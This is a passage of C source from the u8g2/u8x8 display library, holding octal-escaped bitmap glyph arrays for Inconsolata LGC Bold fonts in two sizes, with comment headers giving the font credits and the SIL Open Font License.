"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\370\376\377\377\377\17\7\3\3\3\3\3\3\3" "\0\0\0\0\200\200\200\200\300\340\377\377\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\17" "\17\37\377\377\375\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\77\77\177|||xxxxx" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\7\17\377\377\377\376\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\377\377\377\340\300\200\200\200\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\370\374\377\377\77\17\17\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0xxxxx|||\177\77\77\37\17\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\200\300\200\200\0\6\7\17\17\7\7\7\3\7\7\17\17" "\37\37\37\37\37\37\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--44-440-72-72-P-215-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 18/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inb33_3x6_n[3892] U8X8_FONT_SECTION("u8x8_font_inb33_3x6_n") = " :\3\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\0\0\0\0\0\0\0\0\0\0\70>><|xxp\360\377\377\377" "\377\361pxx|<<>\70 \0\0\0@\340\360\370\376\177\77\17\7\3\17\37\177\376\374\370\340\300" "\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\370\0\0\0\0\0\0" "\0\0\0\0xxxxxxxxx\377\377\377\377\377xxxxxxxx\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0 \60x~\77\37\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\360\360\340\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\77\17\3" "\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\37\3\0\0\0\0\0\0\0\0\0\0\0\0" "\200\340\374\377\377\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0`x\376\377\177\37\7\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\300\360\374" "\376\377\177\37\17\7\7\7\7\17\337\377\377\376\374\360\300\0\0\0\376\377\377\377\377\3\0\0\200\340\360\370" "~\37\17\7\1\377\377\377\377\376\0\0\7\77\377\377\377\370\374\237\17\7\1\0\0\0\0\300\370\377\377\377" "\177\7\0\0\0\0\0\3\7\17\37\37\77>>>>>\37\37\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300" "\300\300\0\0\0\0\0\0\0\0\0\0\0\0\34\34\36\36\17\17\17\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\10\34" ">\177\37\17\7\7\7\3\7\7\7\17\77\377\377\376\374\360\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\200\300\340\370\374\377\177\77\17\3\0\0\0\0\0\0\200\340\360\370\374\376\77\37\17\7\7\3\1\0\0\0" "\0\0\0\0\0\0<\77\77\77\77\77=<<<<<<<<<<<>>\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\6\17\37\17\7\7\7\7\7\7\7\7\37\377\377\376\374\370" "\0\0\0\0\0\0\0\0\0\0xx||||\374\376\377\377\377\347\303\201\0\0\0\0\0\0\0\300" "\300\0\0\0\0\0\0\0\0\0\1\303\377\377\377\377\376\0\0\0\0\6\17\17\37\37>>>>>>" ">>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\300\340\370\374\177\377\377\377\377\377\0\0\0\0\0\0\0\0\200\340\360\374\376\77\37\7\3\0" "\0\377\377\377\377\377\0\0\0\0\0\0<\77\77\77\77=<<<<<<<\377\377\377\377\377<<" "<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\60\177\177\377\77\77\36\37\37\37\37\37\37>\376\374\374\370\340\200\0\0\0\0\200\300" "\300\300\200\0\0\0\0\0\0\0\0\0\300\377\377\377\377\177\0\0\0\1\3\7\17\37\37\37>>><" ">>>\37\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\340\370" "\374\376\377\77\17\7\7\7\3\7\7\7\17\17\7\2\2\0\0\0\0\377\377\377\377\377\374>>\37\37\17" "\37\37\77\376\376\374\370\340\200\0\0\0\0\37\377\377\377\377\360\200\0\0\0\0\0\0\0\300\377\377\377\377" "\177\0\0\0\0\0\0\3\7\17\37\37\77>><>>\77\37\37\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\0\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\303\363\377\377\377\77\17" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\377\77\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\370\377\377\377\77\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\77\77\77\77\17\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\370\374" "\376\377\377\17\7\7\7\3\7\7\17\37\377\377\377\374\370\0\0\0\0\0\1\203\317\317\377\377\376|xx" "x\370\374\377\377\317\307\203\0\0\0\0\0\370\376\377\377\377\307\1\0\0\0\0\0\0\1\1\207\377\377\377" "\376\374\0\0\0\0\3\7\17\37\37\37>>><>>>\37\37\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\340\370\376\377\377\77\17\7\7\7\7\7\7\37\177\377\376\374\360" "\200\0\0\0\0\17\77\177\377\377\370\360\340\300\300\300\300\340\340\360\377\377\377\377\377\0\0\0\0\0\0\0" "\200\201\3\3\3\3\3\3\3\3\201\361\377\377\377\177\17\0\0\0\0\4\16\17\37\37>>><>>" ">\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34>\177\177\177" ">\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\70|\376\376\376|\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--62-620-72-72-P-301-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 191/658 BBX Build Mode: 3 */ #ifdef U8G2_USE_LARGE_FONTS const uint8_t u8x8_font_inb46_4x8_f[57348] U8X8_FONT_SECTION("u8x8_font_inb46_4x8_f") = " \377\4\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\360\370\370\370\360\360\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\77\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\370\360\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\340\0\0\0\0\0\0\340\360\370\370\370\360\340\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377\377\377\377\0" "\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\77\77\0\0\0\0\0\0\77\77\77\77\77\77\77\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300\300\300\0\0\0\0\0\0\300\300\300\300\300\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\1\0\0\0\0\0\376\377\377\377\377\377\7" "\0\0\0\0|||||||\374\377\377\377\377\377\377=<<<<<\376\377\377\377\377\377\177|" "||||\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\377\377\377\377\377\377\7\0\0" "\0\0\0\0||||||\376\377\377\377\377\377~~~~~~\376\377\377\377\377\377\77>>>" ">>>\36\0\0\0\0\0\376\377\377\377\377\377\3\0\0\0\0\0\374\377\377\377\377\377\17\0\0\0\0" "\0\0\0\0\0\0\0\0\16\17\17\17\17\17\3\0\0\0\0\0\14\17\17\17\17\17\17\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\370\370\370\370\370\370\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\340\360\370\374\376\376\377\77\37\37\377\377\377\377\377\377\77\77\77\177\376\376\374\374\370" "p \0\0\0\0\37\177\377\377\377\377\377\370\340\300\300\377\377\377\377\377\377\0\0\0\0\0\3\3\1\0" "\0\0\0\0\0\0\0\0\1\3\7\7\17\17\37\37\77\377\377\377\377\377\377\376\374\374\374\370\370\360\340\340" "\300\0\0\0\0\0\0\200\300\300\0\0\0\0\0\0\0\377\377\377\377\377\377\0\1\1\3\7\377\377\377\377" "\377\377\374\0\0\14\37\77\177\177\377\376\374\374\370\370\360\377\377\377\377\377\377\360\370\370\374\377\377\177\77\37" "\17\7\0\0\0\0\0\0\0\0\0\0\1\1\1\1\3\77\77\77\77\77\77\1\1\1\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300" "\300\300\300@\374\376\377\377\377\37\37\17\17\37\77\377\377\377\376\374\360\0\0\0\300\340\370\376\377\377\377\77" "\17\3\1\0\37\77\177\377\377\376\374\370\370\374\376\377\377\177\77\237\347\360\374\377\377\377\177\37\7\1\0\0" "\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\300\360\370\376\377\377\177\77\17\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\377\77\37\7\301\360\370\374\376\376\177\77\77\77\177\376" "\376\374\370\360\0\0\300\360\374\376\377\377\177\37\17\3\0\0\0\0\37\177\377\377\377\377\360\340\340\340\360\377" "\377\377\377\177\6\7\7\7\7\7\7\1\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\17\7\7\7" "\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\360\370\376\376\377\377\377\77\37\37\17\17\37\37\177\377\377\377\377\376\370\360\0\0\0" "\0\0\0\0\0\0\0\17\77\377\377\377\377\377\370\340\200\0\0\200\340\370\377\377\377\377\177\77\17\0\0\0" "\0\0\0\0\0\0\200\300\340\360\371\373\377\377\177\77\377\377\377\377\377\377\347\203\3\1\0\0\0\0\300\300" "\300\200\0\0\374\377\377\377\377\377\37\7\1\0\0\0\0\1\3\7\37\77\177\377\377\376\374\370\340\374\377\377" "\377\177\77\17\77\177\377\377\377\377\376\370\360\340\340\340\340\340\340\360\360\370\374\375\377\377\177\77\177\377\377\377" "\371\360\340\300\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\1\0\0\0\0\1\7\17" "\7\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\360\340\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\360\360\370\374\374\374\370" "\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\376\377\377\377\177\37\17\7\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\377\177\17\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\376\377\377\377\377\377\377\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\77\377\377\377\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\37\177\377\377\377\377\377\370\340\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\77\177\377\377\377\374\370\360\340\300\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\37\77\77\177\77" "\16\6\0\0\0\0\0\340\374\370\370\360\360\340\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\3\3\7\17\17\37\77\377\377\377\376\374\370\360\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377\377\377\377\374\360\200\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\377\377\377\377\377\377\374\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\377\377\177\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\377\377\77\7\0\0\0\0" 